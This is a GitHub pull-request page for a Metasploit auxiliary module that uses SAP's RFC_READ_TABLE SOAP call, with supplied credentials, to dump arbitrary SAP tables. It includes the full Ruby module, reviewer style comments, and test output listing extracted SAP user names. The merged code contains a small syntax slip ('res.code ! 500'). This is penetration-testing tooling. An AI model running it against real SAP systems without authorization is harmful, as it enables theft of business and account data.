Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP

Loading…

SAP SOAP RFC RFC_READ_TABLE #1033

Merged
merged 2 commits into from

3 participants

@nmonkee

This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read data from tables.

modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((30 lines not shown))
+ 'Version' => '$Revision: $0.1',
+ 'Description' => %q{
+ This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read data from tables.
+ },
+ 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
+ 'Author' => [ 'Agnivesh Sathasivam', 'nmonkee' ],
+ 'License' => BSD_LICENSE
+ )
+
+ register_options(
+ [
+ OptString.new('CLIENT', [true, 'Client', nil]),
+ OptString.new('USERNAME', [true, 'Username', nil]),
+ OptString.new('PASSWORD', [true, 'Password', nil]),
+ OptString.new('TABLE', [true, 'Table to read', nil]),
+ OptString.new('FIELDS', [true, 'Fields to read', '*']),

trailing comma

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((36 lines not shown))
+ 'License' => BSD_LICENSE
+ )
+
+ register_options(
+ [
+ OptString.new('CLIENT', [true, 'Client', nil]),
+ OptString.new('USERNAME', [true, 'Username', nil]),
+ OptString.new('PASSWORD', [true, 'Password', nil]),
+ OptString.new('TABLE', [true, 'Table to read', nil]),
+ OptString.new('FIELDS', [true, 'Fields to read', '*']),
+ ], self.class)
+ end
+
+ def run_host(ip)
+ columns = []
+ columns.push ('*') if datastore['FIELDS'].nil?

columns << '*' if datastore['FIELDS'].nil?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((76 lines not shown))
+ data << '</env:Envelope>'
+ user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
+ print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_READ_TABLE request")
+ begin
+ error = ''
+ success = ''
+ res = send_request_raw({
+ 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
+ 'method' => 'POST',
+ 'data' => data,
+ 'headers' =>{
+ 'Content-Length' => data.size.to_s,
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+ 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+ 'Authorization' => 'Basic ' + user_pass,
+ 'Content-Type' => 'text/xml; charset=UTF-8',

trailing comma

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((79 lines not shown))
+ begin
+ error = ''
+ success = ''
+ res = send_request_raw({
+ 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
+ 'method' => 'POST',
+ 'data' => data,
+ 'headers' =>{
+ 'Content-Length' => data.size.to_s,
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+ 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+ 'Authorization' => 'Basic ' + user_pass,
+ 'Content-Type' => 'text/xml; charset=UTF-8',
+ }
+ }, 45)
+ if (res and res.code != 500 and res.code != 200)

if res and res.code ! 500 and res.code != 200

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((96 lines not shown))
+ if res.body =~ /<h1>Logon failed<\/h1>/
+ print_error("[SAP] #{ip}:#{rport} - login failed!")
+ else
+ print_error("[SAP] #{ip}:#{rport} - something went wrong!")
+ end
+ return
+ elsif res.body =~ /Exception/
+ response = res.body
+ error = response.scan(%r{<faultstring>(.*?)</faultstring>})
+ success = false
+ return
+ else
+ response = res.body
+ success = true
+ end
+ if success == true

if success

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((105 lines not shown))
+ success = false
+ return
+ else
+ response = res.body
+ success = true
+ end
+ if success == true
+ output = response.scan(%r{<WA>([^<]+)</WA>}).flatten
+ print_status("[SAP] #{ip}:#{rport} - got response")
+ saptbl = Msf::Ui::Console::Table.new(
+ Msf::Ui::Console::Table::Style::Default,
+ 'Header' => "[SAP] RFC_READ_TABLE",
+ 'Prefix' => "\n",
+ 'Postfix' => "\n",
+ 'Indent' => 1,
+ 'Columns' => ["Returned Data"],

trailing comma

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((112 lines not shown))
+ output = response.scan(%r{<WA>([^<]+)</WA>}).flatten
+ print_status("[SAP] #{ip}:#{rport} - got response")
+ saptbl = Msf::Ui::Console::Table.new(
+ Msf::Ui::Console::Table::Style::Default,
+ 'Header' => "[SAP] RFC_READ_TABLE",
+ 'Prefix' => "\n",
+ 'Postfix' => "\n",
+ 'Indent' => 1,
+ 'Columns' => ["Returned Data"],
+ )
+ for i in 0..output.length-1
+ saptbl << [output[i]]
+ end
+ print(saptbl.to_s)
+ end
+ if success == false

if !success

Or if not success

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((113 lines not shown))
+ print_status("[SAP] #{ip}:#{rport} - got response")
+ saptbl = Msf::Ui::Console::Table.new(
+ Msf::Ui::Console::Table::Style::Default,
+ 'Header' => "[SAP] RFC_READ_TABLE",
+ 'Prefix' => "\n",
+ 'Postfix' => "\n",
+ 'Indent' => 1,
+ 'Columns' => ["Returned Data"],
+ )
+ for i in 0..output.length-1
+ saptbl << [output[i]]
+ end
+ print(saptbl.to_s)
+ end
+ if success == false
+ for i in 0..error.length-1

0.upto(error.length-1) do |i|

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((107 lines not shown))
+ else
+ response = res.body
+ success = true
+ end
+ if success == true
+ output = response.scan(%r{<WA>([^<]+)</WA>}).flatten
+ print_status("[SAP] #{ip}:#{rport} - got response")
+ saptbl = Msf::Ui::Console::Table.new(
+ Msf::Ui::Console::Table::Style::Default,
+ 'Header' => "[SAP] RFC_READ_TABLE",
+ 'Prefix' => "\n",
+ 'Postfix' => "\n",
+ 'Indent' => 1,
+ 'Columns' => ["Returned Data"],
+ )
+ for i in 0..output.length-1

0.upto(output.length-1) do |i|

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((17 lines not shown))
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'SAP RFC RFC_READ_TABLE',
+ 'Version' => '$Revision: $0.1',
+ 'Description' => %q{
+ This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read data from tables.
@jvazquez-r7 Collaborator

A little bigger description would be useful.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7 jvazquez-r7 commented on the diff
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((14 lines not shown))
+# experience - a very cool guy. I'd also like to thank Chris John Riley,
+# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
+# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'SAP RFC RFC_READ_TABLE',
@jvazquez-r7 Collaborator

A little more descriptive name would be useful.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((15 lines not shown))
+# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
+# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'SAP RFC RFC_READ_TABLE',
+ 'Version' => '$Revision: $0.1',
@jvazquez-r7 Collaborator

Version field isn't needed anymore

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((21 lines not shown))
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'SAP RFC RFC_READ_TABLE',
+ 'Version' => '$Revision: $0.1',
+ 'Description' => %q{
+ This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read data from tables.
+ },
+ 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
+ 'Author' => [ 'Agnivesh Sathasivam', 'nmonkee' ],
+ 'License' => BSD_LICENSE
@jvazquez-r7 Collaborator

Can MSF_LICENSE be used?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7
Collaborator

msftidy warnings should be fixed

$ tools/msftidy.rb modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb 
sap_soap_rfc_read_table.rb:9 - [WARNING] Spaces at EOL
sap_soap_rfc_read_table.rb:10 - [WARNING] Spaces at EOL
sap_soap_rfc_read_table.rb:12 - [ERROR] Unicode detected: "# Mariano Nu\xC3\xB1ez (the author of the Bizploit framework) helped me in my efforts\n"
sap_soap_rfc_read_table.rb:14 - [WARNING] Spaces at EOL
sap_soap_rfc_read_table.rb:15 - [WARNING] Spaces at EOL
sap_soap_rfc_read_table.rb:38 - [WARNING] Spaces at EOL
sap_soap_rfc_read_table.rb:48 - [WARNING] Spaces at EOL
sap_soap_rfc_read_table.rb:62 - [WARNING] Spaces at EOL
sap_soap_rfc_read_table.rb:137 - [WARNING] Spaces at EOL
modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
((87 lines not shown))
+ 'Content-Length' => data.size.to_s,
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+ 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+ 'Authorization' => 'Basic ' + user_pass,
+ 'Content-Type' => 'text/xml; charset=UTF-8',
+ }
+ }, 45)
+ if (res and res.code != 500 and res.code != 200)
+ # to do - implement error handlers for each status code, 404, 301, etc.
+ if res.body =~ /<h1>Logon failed<\/h1>/
+ print_error("[SAP] #{ip}:#{rport} - login failed!")
+ else
+ print_error("[SAP] #{ip}:#{rport} - something went wrong!")
+ end
+ return
+ elsif res.body =~ /Exception/
@jvazquez-r7 Collaborator

res should be checked against nil I think

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7 jvazquez-r7 merged commit 91b81be into rapid7:master
@jvazquez-r7
Collaborator

Merged after final cleanup and test:

runmsf  auxiliary(sap_soap_rfc_read_table) > run

[*] [SAP] 192.168.1.160:8000 - sending SOAP RFC_READ_TABLE request
[*] [SAP] 192.168.1.160:8000 - got response

[SAP] RFC_READ_TABLE
====================

   Returned Data
   -------------
   001|BCUSER
   001|DDIC
   001|SAP*
   001|SAPCPIC

[+] [SAP] 192.168.1.160:8000 - Data stored in /Users/juan/.msf4/loot/20121117000642_sap_192.168.1.160_sap.tables.data_260361.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
@jlee-r7 jlee-r7 referenced this pull request from a commit
@egypt egypt Add metsrv.dll updates for proxy support
See #1033, #2014, and meterpreter/#12
9f04fa6
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on Nov 7, 2012
  1. @nmonkee

    This module makes use of the RFC_READ_TABLE Remote Function Call (via…

    nmonkee authored
    … SOAP) to read data from tables.
Commits on Nov 14, 2012
  1. @nmonkee

    made requested changes

    nmonkee authored
This page is out of date. Refresh to see the latest.
Showing with 137 additions and 0 deletions.
  1. +137 −0 modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
View
137 modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
@@ -0,0 +1,137 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy. I'd also like to thank Chris John Riley,
+# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
+# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'SAP RFC RFC_READ_TABLE',
@jvazquez-r7 Collaborator

A little more descriptive name would be useful.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ 'Description' => %q{
+ This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read
+ data from tables.
+ },
+ 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
+ 'Author' => [ 'Agnivesh Sathasivam', 'nmonkee' ],
+ 'License' => BSD_LICENSE
+ )
+
+ register_options(
+ [
+ OptString.new('CLIENT', [true, 'Client', nil]),
+ OptString.new('USERNAME', [true, 'Username', nil]),
+ OptString.new('PASSWORD', [true, 'Password', nil]),
+ OptString.new('TABLE', [true, 'Table to read', nil]),
+ OptString.new('FIELDS', [true, 'Fields to read', '*'])
+ ], self.class)
+ end
+
+ def run_host(ip)
+ columns = []
+ columns << '*' if datastore['FIELDS'].nil?
+ if datastore['FIELDS']
+ columns.push (datastore['FIELDS']) if datastore['FIELDS'] =~ /^\w?/
+ columns = datastore['FIELDS'].split(',') if datastore['FIELDS'] =~ /\w*,\w*/
+ end
+ fields = ''
+ columns.each do |d|
+ fields << "<item><FIELDNAME>" + d.gsub(/\s+/, "") + "</FIELDNAME></item>"
+ end
+ exec(ip,fields)
+ end
+
+ def exec(ip,fields)
+ data = '<?xml version="1.0" encoding="utf-8" ?>'
+ data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
+ data << '<env:Body>'
+ data << '<n1:RFC_READ_TABLE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
+ data << '<DELIMITER xsi:type="xsd:string">|</DELIMITER>'
+ data << '<NO_DATA xsi:nil="true"></NO_DATA>'
+ data << '<QUERY_TABLE xsi:type="xsd:string">' + datastore['TABLE'] + '</QUERY_TABLE>'
+ data << '<DATA xsi:nil="true"></DATA>'
+ data << '<FIELDS xsi:nil="true">' + fields + '</FIELDS>'
+ data << '<OPTIONS xsi:nil="true"></OPTIONS>'
+ data << '</n1:RFC_READ_TABLE>'
+ data << '</env:Body>'
+ data << '</env:Envelope>'
+ user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
+ print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_READ_TABLE request")
+ begin
+ error = ''
+ success = ''
+ res = send_request_raw({
+ 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
+ 'method' => 'POST',
+ 'data' => data,
+ 'headers' =>{
+ 'Content-Length' => data.size.to_s,
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+ 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+ 'Authorization' => 'Basic ' + user_pass,
+ 'Content-Type' => 'text/xml; charset=UTF-8'
+ }
+ }, 45)
+ if res and res.code ! 500 and res.code != 200
+ # to do - implement error handlers for each status code, 404, 301, etc.
+ if res.body =~ /<h1>Logon failed<\/h1>/
+ print_error("[SAP] #{ip}:#{rport} - login failed!")
+ else
+ print_error("[SAP] #{ip}:#{rport} - something went wrong!")
+ end
+ return
+ elsif res and res.body =~ /Exception/
+ response = res.body
+ error = response.scan(%r{<faultstring>(.*?)</faultstring>})
+ success = false
+ return
+ else
+ response = res.body if res
+ success = true
+ end
+ if success
+ output = response.scan(%r{<WA>([^<]+)</WA>}).flatten
+ print_status("[SAP] #{ip}:#{rport} - got response")
+ saptbl = Msf::Ui::Console::Table.new(
+ Msf::Ui::Console::Table::Style::Default,
+ 'Header' => "[SAP] RFC_READ_TABLE",
+ 'Prefix' => "\n",
+ 'Postfix' => "\n",
+ 'Indent' => 1,
+ 'Columns' => ["Returned Data"]
+ )
+ 0.upto(output.length-1) do |i|
+ saptbl << [output[i]]
+ end
+ print(saptbl.to_s)
+ end
+ if !success
+ 0.upto(error.length-1) do |i|
+ print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
+ end
+ end
+ rescue ::Rex::ConnectionError
+ print_error("[SAP] #{ip}:#{rport} - Unable to connect")
+ return false
+ end
+ end
+end
Something went wrong with that request. Please try again.